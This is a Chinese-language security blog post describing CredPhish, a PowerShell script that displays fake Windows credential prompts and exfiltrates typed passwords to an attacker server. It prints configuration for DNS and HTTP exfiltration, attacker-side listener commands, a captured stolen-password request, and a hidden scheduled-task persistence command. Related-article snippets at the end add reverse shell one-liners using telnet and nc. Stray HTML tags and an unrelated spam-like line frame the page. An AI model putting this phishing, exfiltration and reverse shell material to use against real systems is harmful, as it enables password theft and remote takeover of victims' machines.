<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    如何使用 PowerShell 釣魚獲取用戶密碼

    VSole2021-08-04 23:11:00

    欺騙憑證提示是一種有效的權限提升和橫向移動技術。在 Windows 環境中遇到 Outlook、VPN 和各種其他身份驗證協議看似隨機的密碼提示并不罕見。攻擊者將濫用 Windows 和 PowerShell 中內置的功能來調用憑據彈出窗口來獲取用戶密碼。 

    根據MITRE ATT&CK 框架的定義 : 

    當執行需要額外權限的程序時……操作系統通常會提示用戶提供正確的憑據以授權任務的提升權限。攻擊者可能會模仿常見的操作系統組件,通過看似合法的提示來提示用戶輸入憑據……通過 PowerShell 等語言。” 

    什么是 CredPhish? 

    CredPhish 是一個 PowerShell 腳本,旨在調用憑據提示和泄露密碼。它依靠CredentialPicker API 來收集用戶密碼,依靠 PowerShell 的 Resolve-DnsName 進行 DNS滲漏,并依靠Windows Defender的 ConfigSecurityPolicy.exe 來執行任意 GET 請求。 

    下面是 CredPhish 的一個例子。請注意憑據在 Windows 安全提示中提交后立即傳送到攻擊者的 DNS 服務器。 


    默認情況下,CredPhish 將使用 Resolve-DnsName(PowerShell 內置的 DNS 解析器)來竊取憑據。它將憑據中的每個字符轉換為其各自的十六進制值,將轉換后的值分解為預定義的塊,并將這些塊放入流行網站的子域中。以下屏幕截圖是十六進制形式的泄露憑據示例。請注意 google.com 和 office.com 子域中“tokyoneon”(746f6b796f6e656f6e) 的十六進制值。 


    在解析 DNS 查詢之前,DNS 服務器將剝離十六進制子域以避免創建數十個錯誤響應。在下面的 Wireshark 屏幕截圖中,請注意“Answers”字段不再包含子域并成功解析為 Google 的 IP 地址之一。 


    CredPhish.ps1 配置 

    我將credphish.ps1設計  為一個獨立的腳本,不需要 Import-Module,這是一個常見的妥協指標。可配置選項以變量的形式位于 PS1 腳本的頂部,以避免冗長的命令行參數。 

    第一行是最重要的,因為它定義了泄露數據的交付位置(即攻擊者的 Kali 服務器)。 

    # exfil 地址  
    $exfilServer  =  "192.168.56.112" 
    

    接下來,幾個變量定義了提示將如何呈現給毫無戒心的目標用戶。在 $promptCaption 定義了“應用程序”請求用戶證書(例如,“微軟辦公室”)。并且 $promptMessage 通常指定與請求關聯的帳戶。 

    # prompt 
    $targetUser  =  $ env : username 
    $companyEmail  =  " blackhillsinfosec.com "
     $promptCaption  =  " Microsoft Office "
     $promptMessage  =  " Connecting to: $targetUser @ $companyEmail "
     $maxTries  =  1  # 調用提示的最大次數
    $ delayPrompts  =  2  # 提示之間的秒數
    $validateCredentials  =  $ false  # 如果憑據有效,則中斷 $maxTries 并立即刪除
    

    該 $maxTries 變量定義了在目標提交憑據之前提示出現的次數。為避免懷疑, 1 是默認值。該 $delayPrompts 變量定義了每個提示之間的秒數(如果 $maxTries 大于 1)。并且 $validateCredentials,默認情況下禁用,將嘗試Start-Process 在提升的上下文中使用本地驗證提交的憑據 。如果啟用并驗證憑據, $maxTries 則會被忽略,并且數據會立即發送到攻擊者的服務器。 

    過濾方法 

    如前所述,DNS 外泄是將密碼傳送到攻擊者服務器的默認方法。                        $exfilDomains 列表包括用于 DNS 查詢并隨機選擇的各種域。該                     $subdomainLength 變量決定了每個子域的所需長度。 

    #域名解析
    # 在kali中啟動dns服務器:python3 /path/to/credphish/dns_server.py
    $ enableDnsExfil  =  $真
    $ exfilDomains  = @(' .microsoft.com ', ' .google.com ', ' .office.com ', ' .live.com ')的DNS exfil#域
    $ randomDelay  =  GET隨機 -最小5  -最大20  # dns 查詢之間的延遲
    $subdomainLength  =  6  # 子域中的最大字符數。必須是 2-60 之間的偶數,否則查詢會中斷
    

    要攔截使用 DNS 過濾功能發送的憑據,請 在 Kali 中執行 dns_server.py腳本。按 Ctrl + c 終止 DNS 服務器,它將以明文形式重建攔截的憑據。 

    CredPhish 中內置的另一種滲漏方法是 HTTP 請求方法。它利用Windows Defender 中包含的二進制文件“ ConfigSecurityPolicy.exe ”向攻擊者的服務器提供憑據。將 $enableHttpExfil 變量設置 $true 為啟用它。 

    # http 
    # 在 kali 中啟動 http 服務器:python3 -m http.server 80
     $enableHttpExfil  =  $false 
    $ConfigSecurityPolicy  =  " C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe "
    

    要攔截使用 發送的憑據 ConfigSecurityPolicy.exe,請在 Kali 中啟動一個簡單的 HTTP 服務器以在日志中捕獲它們。 

    在網絡上,泄露的憑據將顯示如下:

    GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1  
    Accept: */*  
    UA-CPU: AMD64  
    Accept-Encoding: gzip, deflate  
    User-Agent: Mozilla /4.0(兼容;MSIE 7.0;Windows NT 10.0;Win64;x64;Trident/7.0;.NET4.0C;.NET4.0E) 
    主機:192.168.56.104 
    連接:Keep-Alive 
     
    

    由于憑證在傳輸前經過 URL 編碼,因此使用 Burp 的解碼器模塊觀察數據或使用 Python 的 urllib 庫通過命令行進行 URL 解碼。 

    >>> from  urllib.parse  import unquote 

    >>>  unquote ("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D")  '/DESKTOP-S4DAAF0[tokyoneon:# !Extr3m3Ly_& ecuRe-P@ssw %rD#]' 
     
    

    CredPhish.ps1 執行 

    要快速測試 CredPhish,請將 移動 credphish.ps1 到目標 Windows 10 計算機并使用 PowerShell 執行它。 

     一種持久的執行方法可能涉及 Task Schedtokyoneon //uler,它是 Windows 的一個組件,它提供了以預定義的時間間隔安排腳本執行的能力。下面的 schtasks 示例將credphish.ps1 每 2 分鐘執行 一次。 

    schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1" 
    
    powershelldns
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。telnet反彈nc -lvvp 444 #攻擊者主機上執行監聽rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目標主機上執行。監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。 nc反彈nc -lvvp portnc -e /bin/bash x.x.x.x port
    剛入行時在網上搜各種工具使用技巧及方法,通過別人的經驗提高自身的技巧,然后再拿個小本本記錄,這是每個網安人初入行時的必備姿勢,那么今天丹丹就拿起先前做過的筆記和網上別人的經驗做一個合集,把大部分使用到的工具技巧整理成冊,后續自己以及大家查閱,如總結不到位的地方希望海涵,那現在就開始吧。。。。。
    欺騙憑證提示是一種有效的權限提升和橫向移動技術。在 Windows 環境中遇到 Outlook、VPN 和各種其他身份驗證協議看似隨機的密碼提示并不罕見。
    滲透測試工具收集整理
    是一套用于對域名進行偵察的工具。該程序會檢查 SPF 和 DMARC 記錄中是否存在允許欺騙的弱配置。用于發現計算機網絡上的主機和服務,從而構建網絡的“地圖”。自動滲透測試偵察掃描儀。不受 API 限制,因為它使用 Selenium 檢測瀏覽器。輸出報告以幫助關聯跨站點的目標。是一個 python 腳本,它檢查電子郵件帳戶是否在數據泄露中受到損害,如果電子郵件帳戶受到損害,它會繼續查找受損害帳戶的密碼。LinkedIn 枚舉工具,通過搜索引擎抓取從組織中提取有效員工姓名。
    顧名思義,無需將惡意文件傳到目標服務器/機器上,直接利用powershell的特性加載到內存執行。為了在紅隊行動中更隱蔽的實施攻擊以及橫向移動,同時還可以解決目標不出網只能通過dns上線時的棘手問題,利用powershell可以避免一行行echo。
    前言實際滲透測試中,有些漏洞因為沒有回顯導致無法準確判斷漏洞是否存在,可能導致滲透測試人員浪費大量精力在一個并不存在的漏洞上,因此為了驗證一些無回顯漏洞,
    PowerSploit這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。Empire基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑據信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
    VSole
    網絡安全專家
    xs
      亚洲 欧美 自拍 唯美 另类